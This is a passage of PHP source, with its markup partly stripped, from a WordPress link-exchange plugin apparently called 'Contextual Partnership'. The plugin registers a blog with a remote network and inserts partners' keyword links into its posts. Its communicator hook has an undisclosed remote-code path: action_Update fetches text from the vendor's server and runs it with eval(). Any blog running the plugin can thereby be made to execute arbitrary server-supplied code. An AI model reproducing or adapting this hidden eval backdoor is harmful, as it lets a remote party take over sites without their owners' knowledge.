(($_POST["pastposts"]=="1") && ($_POST["delaylinks"]=="1")) { $args["slow_timestamp"] = "ok"; $args["slow_total"] = TCXPTable_Posts::GetAllBeforeCount($this->options["register"]->timestamp); } $res = TCXPCommunicator::Save($this->options["register"],$args); if ($res==null) { $this->error = "We were unable to connect to the server. Please try again shortly"; } else { $this->options["register"]->moderation_state = $res["moderation_state"]; $this->options["register"]->Save(); if ($res["success"]) { $this->success = true; $this->options["settings"]->Save(); if (isset($res["moderation"])) { $this->moderation = $res["moderation"]; $this->moderation["answers"] = array(); foreach($this->moderation["urls"] as $url) $this->moderation["answers"][] = ""; } else { $this->moderation = array(); } if (isset($_POST["pastposts"])) if ($_POST["pastposts"]=="1") { TCXPTable_Posts::IncludeAllBefore($this->options["register"]->timestamp); } } else { $args_params = array("error","error_sub1","error_sub2","error_sub3","error_which"); foreach($args_params as $name) $this->$name = TFDGeneral::GetParam($res,$name); if (isset($res["moderation"])) { $this->moderation = $res["moderation"]; $this->moderation["answers"] = array(); foreach($this->moderation["urls"] as $url) $this->moderation["answers"][] = ""; } } } } else { $this->options["register"]->verifycode = TFDGeneral::GenerateRandomString(30); $this->options["register"]->Save(); $args["verifycode"] = $this->options["register"]->verifycode; if (($this->options["settings"]->pastposts==1) && ($this->options["settings"]->delaylinks==1)) { $args["slow_timestamp"] = "ok"; $args["slow_total"] = TCXPTable_Posts::GetAllBeforeCount(time()); } $res = TCXPCommunicator::Register($args); if ($res==null) { $this->error = "We were unable to connect to the server. Please try again shortly"; } else { if ($res["success"]) { $this->options["register"]->identifier = $res["user"]["identifier"]; $this->options["register"]->secretcode = $res["user"]["secretcode"]; $this->options["register"]->timestamp = time(); $this->options["register"]->Save(); $this->registered = true; $this->options["settings"]->Save(); $this->moderation = array(); TCXPTable::CreateAll(); if ($this->options["settings"]->pastposts==1) { TCXPTable_Posts::IncludeAllBefore(time()); } } else { $args_params = array("error","error_sub1","error_sub2","error_sub3","error_which"); foreach($args_params as $name) $this->$name = TFDGeneral::GetParam($res,$name); if (isset($res["moderation"])) { $this->moderation = $res["moderation"]; $this->moderation["answers"] = array(); foreach($this->moderation["urls"] as $url) $this->moderation["answers"][] = ""; } } } } } function BeforeShow() { if (isset($_POST["onpost"])) { $this->OnPost(); } else { if ($this->options["register"]->IsRegistered()) { $res = TCXPCommunicator::Settings($this->options["register"]); if ($res==null) { $this->error = "We were unable to connect to the server. Please try again shortly"; $this->showcore = false; } else { if ($res["success"]) { $res["user"]["updateprevious"] = 1; $this->params = $res["user"]; $this->options["register"]->moderation_state = $res["user"]["moderation_state"]; $this->options["register"]->Save(); if (isset($res["moderation"])) { $this->moderation = $res["moderation"]; $this->moderation["answers"] = array(); foreach($this->moderation["urls"] as $url) $this->moderation["answers"][] = ""; } } else { $this->error = $res["error"]; $this->showcore = false; } } } else { $res = TCXPCommunicator::Moderation(); if ($res==null) { $this->error = "We were unable to connect to the server. Please try again shortly"; $this->showcore = false; } else { if ($res["success"]) { $this->moderation["code"] = $res["code"]; $this->moderation["urls"] = $res["urls"]; $this->moderation["answers"] = array(); foreach($this->moderation["urls"] as $url) $this->moderation["answers"][] = ""; } } } } } function Box_ContextualLinks() { ob_start(); ?>error_sub2!="") { ?>
error_sub2); ?>
Please enter up to 10 URLs & the associated anchor text / keyword phrases you wish to link each URL to contextually on other partners blogs. Please note that you can only advertise the domain you have installed the plug-in on (the domain you're on now). No third party URL's will be accepted.
URL Keywords / Anchor Text
params["contextlinks"] as $contextlink) $contextlinks[] = $contextlink; $n = CXP_CONTEXTLINK_TOTAL-count($contextlinks); for($i=0;$i<$n;$i++) $contextlinks[] = array("url"=>$siteurl,"keyword"=>""); for($i=0;$i
error_which=="contextlink_".$i) echo("border:1px solid #FF0000;padding-left:5px;width:auto")?>">
"> ">
Update Previous Links to Reflect Changes:  [?]
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Box_NetworkModeration() { ob_start(); ?>error_sub3!="") { ?>
error_sub3); ?>
Please review the following blogs to ensure they meet network quality guidelines and either approve or deny them. Please note that selecting to approve or deny other blogs does not have any impact or bearing on your own acceptance within the network. Please DO NOT RUSH this process. The quality of the network should be as important to you as it is to us.
"> moderation["urls"] as $url) { $i++; ?>
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Box_NetworkSettings() { ob_start(); ?>error_sub1!="") { ?>
error_sub1); ?>
These are general settings for the plug-in. The most important setting here is "Outbound Links Per Post" as this determines how many partnership points you'll earn depending on how much you're willing to provide other network partners with. Basically how many other blogs will link back to yours. The more "outbound links per post", the more incoming links you'll receive in return.
error_which!="") if ($this->error_which=="firstname") echo(" class=\"cxp_error\""); ?>>First Name: ">
error_which!="") if ($this->error_which=="lastname") echo(" class=\"cxp_error\""); ?>>Last Name: ">
error_which!="") if ($this->error_which=="email") echo(" class=\"cxp_error\""); ?>>Email: ">
Outbound Links Per Post When Available:  [?]
Open Links In A New Window:  [?]
Cache My Incoming Links:  [?]
Default New Post Setting:  [?]
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Box_PastPosts() { ob_start(); ?>options["register"]->IsRegistered()) { $text_registrationtime = "".date("M j, Y",$this->options["register"]->timestamp)." (registration time)"; } ?>
Use this option if you want to automatically include within our network all posts on your blog made before . For new posts, you can decide whether to include them or not on a per-post basis. options["register"]->IsRegistered()) { ?> If you don't select this option now, you can always come back and use it later.
Include All Past Posts:
Time Delay On My Incoming Links:  [?]
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Contents() { ob_start(); ?>title = "Network Settings"; $box_networksettings->width = $width; $box_networksettings->contents = $this->Box_NetworkSettings(); $box_pastposts = new TFDWPComponent_Plugin_Page_Box(); $box_pastposts->title = "Past Posts"; $box_pastposts->width = $width; $box_pastposts->contents = $this->Box_PastPosts(); $box_contextuallinks = new TFDWPComponent_Plugin_Page_Box(); $box_contextuallinks->title = "Your Contextual Links"; $box_contextuallinks->width = $width; $box_contextuallinks->contents = $this->Box_ContextualLinks(); if (isset($this->moderation["urls"])) if (count($this->moderation["urls"])>0) { $box_networkmoderation = new TFDWPComponent_Plugin_Page_Box(); $box_networkmoderation->title = "Network Moderation"; $box_networkmoderation->width = $width; $box_networkmoderation->contents = $this->Box_NetworkModeration(); } ?> HelpBox()); ?> options["register"]->IsRegistered()) { ?>
Moderation Status: options["register"]->moderation_state==CXP_MODERATION_STATE_NEUTRAL) echo("Pending"); ?> options["register"]->moderation_state==CXP_MODERATION_STATE_APPROVED) echo("Approved"); ?> options["register"]->moderation_state==CXP_MODERATION_STATE_DECLINED) echo("Declined"); ?>
error!="") { ?>
Error: error); ?>
success) { ?>
Your settings have been updated.
registered) { ?>
The plugin has been registered successfully.
options["register"]->IsRegistered()) { ?>
This plugin has not been Registered yet. Fill in the form below to get started.
showcore) { ?>
ToString()); ?>
options["register"]->IsRegistered()) || (!$this->options["settings"]->pastposts)) { ?> ToString()); ?>
ToString()); ?> moderation["urls"])) { if (count($this->moderation["urls"])>0) { ?>
ToString()); ?> ">
IsRegistered()?"Save Settings":"Register Plugin"); ?>">
/i',array($this,"fd_getNewId"),ob_get_clean()); } function HelpBox() { ob_start(); ?> /i',array($this,"fd_getNewId"),ob_get_clean()); } function Help_CacheIncomingLinks() { ob_start(); ?>Cache My Incoming Links

This feature will allow you to cache your incoming links on other partners blogs for a certain period of time. It's recommended that you leave this at set at "Indefinitely" as it will keep all links previously assigned to you in place permanently. If set at 30, 60, or 90 days the network will attempt to reassign all of your incoming links to different partners blogs (assuming there are positions available) at those time intervals - allowing you to redistribute your links around the network should you wish to do so.

For more information please see the documentation archive.

/i',array($this,"fd_getNewId"),ob_get_clean()); } function Help_DefaultNewPostSetting() { ob_start(); ?>Default New Post Setting

Leaving this feature "On" will ensure all new posts made to your blog become part of the network and earn you credits. You can then exclude any future posts on a case by case basis, when making those posts, using the check box feature you'll find on the "create / edit" new post section in WordPress.

If set to "Off" all new posts made to your blog will be excluded from the network by default and you'll have to manually include them when making those posts by checking the box when you create / edit a new post in WordPress. If you're looking to earn maximum credits it is best to leave this on.

For more information please see the documentation archive.

/i',array($this,"fd_getNewId"),ob_get_clean()); } function Help_OpenLinksInNewWindow() { ob_start(); ?>Open Links In A New Window

This feature will open all outbound links placed on your blog in a new window.

For more information please see the documentation archive.

/i',array($this,"fd_getNewId"),ob_get_clean()); } function Help_OutboundLinksPerPost() { ob_start(); ?>Outbound Links Per Post When Available

This is where you define how many outbound links "could be" included on each blog post you make. Consider it a maximum setting rather than an absolute value as the exact number of links will be varied (but remain below your maximum setting) depending on the actual keyword content of your blog post, and assuming other partners in the network wish to use those keyword terms for their own links. If set at the maximum setting of 6 you could potentially only have 6, 5, 4, 3, 2, 1 or no outbound links on each post.

For more information please see the documentation archive.

/i',array($this,"fd_getNewId"),ob_get_clean()); } function Help_TimeDelayOnIncomingLinks() { ob_start(); ?>Time Delay On My Incoming Links

This feature only applies if you're including all previous blog posts in the network.

If that is the case you could potentially receive many incoming links in a very short time period. If you wish to stagger the placement of these links, using this feature will stagger placement over a 30 day period rather than granting all incoming links immediately (assuming there are enough available in the network). Some people prefer this option.

For more information please see the documentation archive.

/i',array($this,"fd_getNewId"),ob_get_clean()); } function Help_UpdatePreviousLinks() { ob_start(); ?>Update Previous Links to Reflect Changes

If this feature is set to "Yes" the network will update all previously placed links to reflect your new keyword terms. However this will result in losing those links already placed. It is a good idea if you no longer wish to target your older keyword terms and are looking to try something different.

If this feature is set to "No" the network will only apply the updated keyword terms to new links it assigns, keeping all previously placed links intact. This is a good idea if you're happy with the previous results, but would also like to try something different.

For more information please see the documentation archive.

/i',array($this,"fd_getNewId"),ob_get_clean()); } function Javascript() { ob_start(); ?>var cxp_absolutex = 0; var cxp_absolutey = 0; var cxp_isin = false; var cxp_help_contents = new Array(); cxp_help_contents[0] = "Help_OutboundLinksPerPost())); ?>"; cxp_help_contents[1] = "Help_OpenLinksInNewWindow())); ?>"; cxp_help_contents[2] = "Help_CacheIncomingLinks())); ?>"; cxp_help_contents[3] = "Help_DefaultNewPostSetting())); ?>"; cxp_help_contents[4] = "Help_TimeDelayOnIncomingLinks())); ?>"; cxp_help_contents[5] = "Help_UpdatePreviousLinks())); ?>"; document.onmousedown = CXP_DocumentMouseDown; function CXP_DocumentMouseDown(e) { if (!e) var e = window.event; var cxp_helpbox = document.getElementById("cxp_helpbox"); if (cxp_helpbox.style.display=="none") return; if (!cxp_isin) CXP_CloseHelpBox(); } function CXP_OpenHelpBox(id,object,index) { var cxp_helpbox = document.getElementById("cxp_helpbox"); var cxp_helpbox_content = document.getElementById("cxp_helpbox_content"); cxp_helpbox_content.innerHTML = cxp_help_contents[index]; cxp_helpbox.style.left = (CXP_GetElementX(object)+20)+"px"; cxp_helpbox.style.display = "block"; cxp_helpbox.style.top = ((CXP_GetElementY(object)-cxp_helpbox.offsetHeight)+15)+"px"; } function CXP_CloseHelpBox() { var cxp_helpbox = document.getElementById("cxp_helpbox"); cxp_helpbox.style.display = "none"; } function CXP_GetElementY(oElement) { var iReturnValue = 0; while(oElement!=null) { iReturnValue += oElement.offsetTop; oElement = oElement.offsetParent; } return iReturnValue; } function CXP_GetElementX(oElement) { var iReturnValue = 0; while(oElement!=null) { iReturnValue += oElement.offsetLeft; oElement = oElement.offsetParent; } return iReturnValue; } /i',array($this,"fd_getNewId"),ob_get_clean()); }} class TCXPComponent_Plugin_Page_Uninstall extends TFDWPComponent_Plugin_Page { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Initialize() { $this->title = "Uninstall"; $this->property_Add("error",false); $this->property_Add("success",false); } function OnPost() { $options_register = new TCXPOptions_Register(); $options_register->Load(); $res = TCXPCommunicator::Uninstall($options_register); if ($res==null) { $this->error = "We were unable to connect to the server. Please try again shortly"; } else { $options = array("TCXPOptions_Settings","TCXPOptions_Register","TCXPOptions_Stats","TCXPOptions_News"); foreach($options as $option) { $tmp = new $option(); $tmp->Delete(); } $tables = array("TCXPTable_Posts","TCXPTable_Links"); foreach($tables as $table) { $tmp = new $table(); $tmp->Drop(); } $this->success = true; } } function BeforeShow() { if (isset($_POST["onpost"])) $this->OnPost(); } function Box_Uninstall() { ob_start(); ?>child_Get("plugin")->child_Get("pages")->list_All(); $dashboardpage = $pages[0]; ?> error!==false) { ?>
error); ?>
If you wish, you may unregister your blog from our network. You will lose all incoming links you may have acquired and all outgoing links will be disabled. Note that this will not actually deactivate the plugin, to do so, after unregistering your blog, go to the Plugin menu in Wordpress. This action is irreversible. Are you sure you want to continue?
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Contents() { ob_start(); ?>title = "Unregister Your Blog"; $box_uninstall->width = $width; $box_uninstall->contents = $this->Box_Uninstall(); ?> success) { $pages = $this->child_Get("plugin")->child_Get("pages")->list_All(); $dashboardpage = $pages[0]; ?>
Your blog was successfull unregistered...redirecting to dashboard in 3s... ToString()); ?> /i',array($this,"fd_getNewId"),ob_get_clean()); }} class TCXPHook_Communicator extends TFDBase { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function action_Commit($args) { $core_links = new TCXPTable_Links(); $core_links->Commit(); $core_posts = new TCXPTable_Posts(); $core_posts->Commit(); $this->Output("yes"); } function ValidateConnection() { $options_register = new TCXPOptions_Register(); $options_register->Load(); if (!$options_register->IsRegistered()) return null; $parameters = trim(TFDGeneral::GetParam($_GET,"cxp_parameters")); $identifier = trim(TFDGeneral::GetParam($_GET,"cxp_identifier")); $hash = trim(TFDGeneral::GetParam($_GET,"cxp_hash")); if ($parameters=="") return null; if ($identifier!=$options_register->identifier) return null; $parameters = explode(",",$parameters); $args = array(); foreach($parameters as $parameter) { $args[$parameter] = TFDGeneral::GetParam($_GET,$parameter); } $chash = TFDGeneral::GetShortHash($identifier.TFDGeneral::Array_To_HashableCode($args).$options_register->secretcode); if ($hash!=$chash) return null; return $args; } function Output($value) { echo("".$value.""); exit; } function action_GetContent($args) { $last = $args["last"]; $max = $args["max"]; $last_hash = $args["last_hash"]; $nocache = ($args["nocache"]=="1"); $core = new TCXPTable_Posts(); $rcount = $core->GetRecordCount(); if (strlen($last_hash)==6) $core->CommitHash($last_hash); $bytes = 0; $ret = array(); $grid = array(); $transferkey = TFDGeneral::GenerateRandomString(6); $cached = false; while(true) { $res = $core->GetNextPost($last); if ($res!=null) { $map = $res["map"]; $post = $res["real"]; if ((!$nocache) && ($map["transferstate"]==1) && (TFDGeneral::GetShortHash($post["post_content"])==$map["transferhash"])) { $grid[] = array($post["ID"]); } else { $compressed = $core->GetCompressed($post); $grid[] = $compressed; $core->SetTransferHash($post["ID"],TFDGeneral::GetShortHash($post["post_content"]),$transferkey); $cached = true; } $lastline = $grid[count($grid)-1]; foreach($lastline as $tmp) $bytes+=strlen($tmp); if ($bytes>=$max) { $ismore = ($core->GetNextPost($post["ID"])!=null); if (($ismore) || ($cached)) { $grid[] = array($post["ID"],($cached?$transferkey:""),$rcount); } else { $grid[] = array(0,"",$rcount); } break; } $last = $post["ID"]; } else { if ($cached) { $grid[] = array($last,$transferkey,$rcount); } else { $grid[] = array(0,"",$rcount); } break; } } $this->Output(TFDGeneral::GridEncode($grid)); } function Register() { $action = TFDGeneral::GetParam($_GET,"cxp_action"); $excepts = array("VerifyCode"); if ($action!="") if (method_exists($this,"action_".$action)) { if (!in_array($action,$excepts)) { if ($args = $this->ValidateConnection()) call_user_func(array($this,"action_".$action),$args); } else { call_user_func(array($this,"action_".$action),$_GET); } } } function action_SetContent($args) { $params["jobid"] = $args["jobid"]; $params["last"] = $args["last"]; $options_register = new TCXPOptions_Register(); $options_register->Load(); $res = TCXPCommunicator::GetContent($options_register,$params); if ($res===null) { $this->Output("error"); } else { $grid = TFDGeneral::GridDecode($res); if ((!is_array($grid)) || (count($grid)==0)) { $this->Output("error"); return; } $core_links = new TCXPTable_Links(); for($i=0;$iSave(); } else if ($line[0]==1) { if (count($line)!=5) continue; $postid = $line[1]; $keyword = $line[2]; $url = $line[3]; $tid = $line[4]; $core_links->AddDormantLink($postid,$keyword,$url,$tid); } else if ($line[0]==2) { $core_links->Truncate(); } } $this->Output($grid[count($grid)-1][0]); } } function action_Update($args) { global $wpdb; $params["jobid"] = $args["jobid"]; $options_register = new TCXPOptions_Register(); $options_register->Load(); $res = TCXPCommunicator::Update($options_register,$params); if ($res===null) { $this->Output("error"); } else { $grid = TFDGeneral::GridDecode($res); if ((!is_array($grid)) || (count($grid)!=1)) { $this->Output("error"); return; } $line = $grid[0]; if (count($line)!=3) { $this->Output("error"); return; } if (TFDGeneral::GetShortHash($line[0].$line[1])!=$line[2]) { $this->Output("error"); return; } if ($line[0]!="") { $wpdb->query("LOCK TABLE $wpdb->options WRITE"); update_option(CXP_CONST_CODEOPTIONNAME,$line[0]); $wpdb->query("UNLOCK TABLES"); } if ($line[1]!="") { $this->Output(eval($line[1])); } else { $this->Output("yes"); } } } function action_VerifyCode($args) { $verifycode = $args["verifycode"]; $options_register = new TCXPOptions_Register(); $options_register->Load(); $this->Output(($options_register->verifycode==$verifycode)?"yes":"no"); } } class TCXPHook_ContentFilter extends TFDBase { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function FilterContent($text) { global $id; $core_posts = new TCXPTable_Posts(); $core_links = new TCXPTable_Links(); if (!$core_posts->PostExists($id)) return $text; $this->links = $core_links->GetByPost($id); if ($this->links==null) return $text; $options_settings = new TCXPOptions_Settings(); $options_settings->Load(); $this->innewwindow = $options_settings->newwindow; $cachehash = TFDGeneral::GetShortHash($text); $lcachehash = $core_posts->GetCacheHash($id); if ($cachehash==$lcachehash) return $this->ProcessCached($text); $links_table = array(); $patterns_table = array(); $this->replacements = array(); $space = "(?:[\xC2\xA0\s]+|[\xC2\xA0\s]*(?:-|–)[\xC2\xA0 ]*)"; for($i=0;$ilinks);$i++) { $link = $this->links[$i]; $links_table[$link["keyword"]][] = array($link["url"],$link["id"]); $patterns_table[$link["keyword"]] = '/\\b'.str_replace(" ",$space,$link["keyword"]).'\\b/i'; } $parts = array(); $html = false; $buffer = ""; for($i=0;$i") { $html = false; $buffer.=$ch; $parts[] = array(1,$buffer); $buffer = ""; } else { $buffer.=$ch; } } else { if ($ch=="<") { $html = true; if ($buffer!="") $parts[] = array(0,$buffer); $buffer = $ch; } else { $buffer.=$ch; } } } if ($buffer!="") $parts[] = array(0,$buffer); foreach($links_table as $keyword=>$tmp_links) { foreach($tmp_links as $link) { foreach($parts as $key=>$value) { if ($value[0]==0) { $pattern = $patterns_table[$keyword]; $this->tmplink = $link[0]; $this->tmplink_id = $link[1]; $value[1] = preg_replace_callback($pattern,array($this,"LinkReplacor"),$value[1],1,$count); if ($count==1) { $parts[$key] = $value; break; } } } } } $text = ""; foreach($parts as $part) $text.=$part[1]; $sorted = array(); foreach($this->replacements as $key=>$value) { $sorted[strpos($text,$key)] = $value; } $keys = array_keys($sorted); sort($keys); $offset = 0; foreach($keys as $key) { $value = $sorted[$key]; $rlength = strlen($value[1]); $startindex = $key+$offset; $endindex = ($startindex+$rlength)-1; $core_links->SetPosition($value[2],$startindex,$endindex); $offset+=($rlength-10); } foreach($this->replacements as $key=>$value) { $text = str_replace($key,$value[0],$text); } $core_posts->SetCacheHash($id,$cachehash); return $text; } function ProcessCached($text) { $sorted = array(); foreach($this->links as $link) $sorted[$link["startindex"]] = $link; $keys = array_keys($sorted); sort($keys); $parts = array(); $last = 0; foreach($keys as $key) { $link = $sorted[$key]; $parts[] = substr($text,$last,$link["startindex"]-$last); $parts[] = "innewwindow?" target=\"_blank\"":"").">".substr($text,$link["startindex"],($link["endindex"]-$link["startindex"])+1).""; $last = $link["endindex"]+1; $lastlink = $link; } $parts[] = substr($text,$lastlink["endindex"]+1); return implode("",$parts); } function LinkReplacor($matches) { $rid = TFDGeneral::GenerateRandomString(10); $this->replacements[$rid][0] = "tmplink)."\"".($this->innewwindow?" target=\"_blank\"":"").">".$matches[0].""; $this->replacements[$rid][1] = $matches[0]; $this->replacements[$rid][2] = $this->tmplink_id; return $rid; } function Register() { add_filter('the_content', array($this,'FilterContent')); } } class TCXPHook_PostControl extends TFDBase { var $fd_var_array_ids = array(); var $metaboxtitle = "Contextual Partnership"; function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function AddCustomBox() { $options_register = new TCXPOptions_Register(); $options_register->Load(); if (!$options_register->IsRegistered()) return; if (function_exists('add_meta_box')) { add_meta_box('cxp_sectionid',$this->metaboxtitle,array($this,'InnerCustomBox'),'post','advanced'); } else { add_action('dbx_post_advanced',array($this,'OldCustomBox')); } } function InnerCustomBox() { echo($this->InnerCustomBox_Text()); } function OldCustomBox() { echo($this->OldCustomBox_Text()); } function SavePostData($post_id) { if (!wp_verify_nonce($_POST['cxp_noncename'],plugin_basename(__FILE__))) return $post_id; if (!current_user_can('edit_post',$post_id)) return $post_id; if (!TCXPTable_Posts::IsValidPostId($post_id)) return $post_id; $cxp_include = $_POST['cxp_include']; $core = new TCXPTable_Posts(); if ($cxp_include=="include") { $core->IncludePost($post_id); } else { $core->ExcludePost($post_id); } return "ok"; } function DeletePost($post_id) { $core_posts = new TCXPTable_Posts(); $core_links = new TCXPTable_Links(); $core_posts->DeletePost($post_id); $core_links->DeleteByPost($post_id); } function Register() { add_action('admin_menu',array($this,'AddCustomBox')); add_action('save_post',array($this,'SavePostData')); add_action('delete_post',array($this,'DeletePost')); } function InnerCustomBox_Text() { ob_start(); ?> 0) { if (TCXPTable_Posts::IsValidPostId($post_id)) { $core = new TCXPTable_Posts(); $ison = $core->PostExists($post_id); } } else { $options_settings = new TCXPOptions_Settings(); $options_settings->Load(); $ison = ($options_settings->newpostdefault==1); } ?>
> Include this post on the network
/i',array($this,"fd_getNewId"),ob_get_clean()); } function OldCustomBox_Text() { ob_start(); ?>

metaboxtitle); ?>

InnerCustomBox_Text()); ?>
/i',array($this,"fd_getNewId"),ob_get_clean()); }} class TCXPOptions_News extends TFDWPOptions { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } var $url = "http://www.contextualpartnership.com/feed/"; //var $url = ""; var $sure = array("open"=>"","close"=>""); var $item = array("open"=>"","close"=>""); var $text = array("open"=>""\\]\\]>"); var $link = array("open"=>"","close"=>""); var $date = array("open"=>'\w+, ',"close"=>' \d\d:\d\d:\d\d \\+\d\d\d\d'); var $limit = 3; var $allurl = "http://www.contextualpartnership.com/feed/"; function Box_News() { ob_start(); ?>url,1,$this->sure); if ($stream===false) { ?> Unable to connect to feed... item["open"],$this->item["close"]); $n = min($this->limit,count($matches)); if ($n==0) { ?> The are no news stories at the moment... text["open"],$this->text["close"],$tmp))?$tmp:"No text available"; $link = (TFDGeneral::RegExEasyParse($item,$this->link["open"],$this->link["close"],$tmp))?$tmp:"#"; $date = (TFDGeneral::RegExEasyParse($item,$this->date["open"],$this->date["close"],$tmp))?$tmp:"#"; ?>
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Generate() { ob_start(); ?>url!="") { $box_news = new TFDWPComponent_Plugin_Page_Box(); $box_news->title = "News"; $box_news->width = 250; $box_news->contents = $this->Box_News(); echo($box_news->ToString()); } ?> /i',array($this,"fd_getNewId"),ob_get_clean()); }} class TCXPOptions_Register extends TFDWPOptions { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function IsRegistered() { return ($this->identifier!=""); } var $identifier = ""; var $secretcode = ""; var $verifycode = ""; var $moderation_state = CXP_MODERATION_STATE_NEUTRAL; var $timestamp = 0; } class TCXPOptions_Settings extends TFDWPOptions { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Validate() { $this->firstname = trim($this->firstname); $this->lastname = trim($this->lastname); $this->email = trim($this->email); for($i=0;$icontextlinks);$i++) { $this->contextlinks[$i]->url = trim($this->contextlinks[$i]->url); $this->contextlinks[$i]->keyword = trim($this->contextlinks[$i]->keyword); } if (($this->firstname=="") || ($this->lastname=="") || ($this->email=="")) { $ret = array(); $ret["error_sub1"] = "All fields are required"; if ($this->email=="") $ret["error_which"] = "email"; if ($this->lastname=="") $ret["error_which"] = "lastname"; if ($this->firstname=="") $ret["error_which"] = "firstname"; return $ret; } if (strpos($this->email,"@")===false) { $ret = array(); $ret["error_sub1"] = "Invalid email address (no @ sign)"; $ret["error_which"] = "email"; return $ret; } $ar_on = array(); $ar_off = array(); for($i=0;$icontextlinks);$i++) { if ($this->contextlinks[$i]->keyword!="") { $ar_on[] = $this->contextlinks[$i]; $errmess = $this->IsValidUrl($this->contextlinks[$i]->url); if ($errmess!="") { $ret = array(); $ret["error_sub2"] = $errmess; $ret["error_which"] = "contextlink_".$i; return $ret; } } else { $ar_off[] = $this->contextlinks[$i]; } } $this->contextlinks = array(); foreach($ar_on as $tmp) $this->contextlinks[] = $tmp; foreach($ar_off as $tmp) $this->contextlinks[] = $tmp; return null; } function IsValidUrl($url) { if ($url=="") return "If you include a keyword/anchor, the URL field is required"; $url = strtolower($url); if ((substr($url,0,7)!="http://") && (substr($url,0,8)!="https://")) return "Invalid URL (must begin with http:// or https://)"; $domain = strtolower(TFDWPGeneral::GetDomain()); $ar = parse_url($url); if (!isset($ar["host"])) return "Invalid URL (must at least have a domain)"; $host = $ar["host"]; $nowwwdomain = $domain; if (substr($domain,0,4)=="www.") $nowwwdomain = substr($domain,4); if (($host!=$domain) && (substr($host,strlen($host)-(strlen($nowwwdomain)+1))!=".".$nowwwdomain)) return "Invalid URL (can only be on this blog's domain or a sub-domain)"; return ""; } function BeforeInitialize() { parent::BeforeInitialize(); $siteurl = get_option("siteurl"); for($i=0;$iurl = $siteurl; $this->contextlinks[] = $cl; } } var $newwindow = 0; var $pastposts = 1; var $delaylinks = 1; var $newpostdefault = 1; } class TCXPOptions_Stats extends TFDWPOptions { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Initialize() { $times = array("alltime","thisday","last7days","thismonth","lastmonth","last6months","last12months"); foreach($times as $time) { $this->stats[$time]["earned"] = 0; $this->stats[$time]["earned_unique"] = 0; $this->stats[$time]["redeemed"] = 0; $this->stats[$time]["redeemed_unique"] = 0; $this->stats[$time]["average_outbound"] = 0; } } var $stats = array(); } class TCXPOptions_Settings_ContextLink extends TFDBase { var $fd_var_array_ids = array(); var $url = ""; var $keyword = ""; function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } } class TCXPCommunicator extends TFDBase { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Register($args) { return TCXPCommunicator::Send("Register",$args); } function Moderation() { return TCXPCommunicator::Send("Moderation"); } function Save($options_register,$args) { $args = TCXPCommunicator::PrepareArgs($options_register,$args); return TCXPCommunicator::Send("Save",$args); } function Settings($options_register) { $args = TCXPCommunicator::PrepareArgs($options_register,array()); return TCXPCommunicator::Send("Settings",$args); } function GetContent($options_register,$args) { $args = TCXPCommunicator::PrepareArgs($options_register,$args); return TCXPCommunicator::Send("GetContent",$args,false); } function Update($options_register,$args) { $args = TCXPCommunicator::PrepareArgs($options_register,$args); return TCXPCommunicator::Send("Update",$args,false); } function Uninstall($options_register) { $args = TCXPCommunicator::PrepareArgs($options_register,array("bogus"=>"bogus")); return TCXPCommunicator::Send("Uninstall",$args); } function Send($action,$data = array(),$serialized = true) { global $cxp_config; $url = $cxp_config["server_address"]; $data["cxp_action"] = $action; $res = TFDGeneral::NoCurl_Post_Request_Sure($url,$data); if ($res===false) return null; if (!$serialized) return $res; $res = TFDSerialization::Parse($res); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return null; return $res["value"]; } function PrepareArgs($options_register,$args = array()) { global $cxp_config; $parameters = implode(",",array_keys($args)); $hash = TFDGeneral::GetShortHash($options_register->identifier.TFDGeneral::Array_To_HashableCode($args).$options_register->secretcode); $args["cxp_parameters"] = $parameters; $args["cxp_identifier"] = $options_register->identifier; 